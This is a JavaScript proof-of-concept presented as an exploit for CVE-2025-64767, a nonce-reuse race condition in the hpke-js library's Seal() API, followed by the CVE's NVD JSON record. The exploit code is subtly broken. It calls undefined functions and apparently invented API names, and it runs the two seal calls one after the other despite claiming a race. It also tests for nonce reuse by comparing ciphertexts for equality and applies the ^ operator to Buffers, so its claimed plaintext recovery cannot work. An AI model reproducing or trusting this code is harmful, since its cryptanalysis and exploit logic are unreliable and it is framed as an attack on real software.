CVE-2025-64767

// CVE-2025-64767 PoC - Nonce Reuse in hpke-js SenderContext.Seal() // Race condition demonstration const { setupSenderContext, CipherSuite, AES_128_GCM } = require('hpke-js'); async function exploitNonceReuse() { const suite = new CipherSuite({ kem: 'X25519', kdf: 'HKDF-SHA256', aead: AES_128_GCM }); // Generate sender context const sender = await suite.createSenderContext({ recipientPublicKey: generateKeyPair().publicKey }); const pt1 = Buffer.from('Message 1'); const pt2 = Buffer.from('Message 2'); // Race condition: concurrent Seal() calls may reuse nonce const [ct1, sealer1] = await sender.seal(pt1); const [ct2, sealer2] = await sender.seal(pt2); // If nonce reused, keystream is identical // Attack: ct1 XOR ct2 = pt1 XOR pt2 (plaintext XOR plaintext) const xorResult = Buffer.from(ct1).compare(Buffer.from(ct2)); console.log('Nonce reuse detected:', xorResult === 0); // Full plaintext recovery via known-plaintext attack if (xorResult === 0) { const recovered_pt2 = Buffer.from(ct1).slice(0, 12) ^ Buffer.from(pt1) ^ Buffer.from(pt2); console.log('Plaintext 2 recovered:', recovered_pt2.toString()); } } exploitNonceReuse().catch(console.error);

{"cve": {"id": "CVE-2025-64767", "sourceIdentifier": "[email protected]", "published": "2025-11-21T19:16:03.497", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "hpke-js is a Hybrid Public Key Encryption (HPKE) module built on top of Web Cryptography API. Prior to version 1.7.5, the public SenderContext Seal() API has a race condition which allows for the same AEAD nonce to be re-used for multiple Seal() calls. This can lead to complete loss of Confidentiality and Integrity of the produced messages. This issue has been patched in version 1.7.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-323"}]}], "references": [{"url": "https://github.com/dajiaji/hpke-js/blob/b7fd3592c7c08660c98289d67c6bb7f891af75c4/packages/core/src/senderContext.ts#L22-L34", "source": "[email protected]"}, {"url": "https://github.com/dajiaji/hpke-js/commit/94a767c9b9f37ce48d5cd86f7017d8cacd294aaf", "source": "[email protected]"}, {"url": "https://github.com/dajiaji/hpke-js/security/advisories/GHSA-73g8-5h73-26h4", "source": "[email protected]"}]}}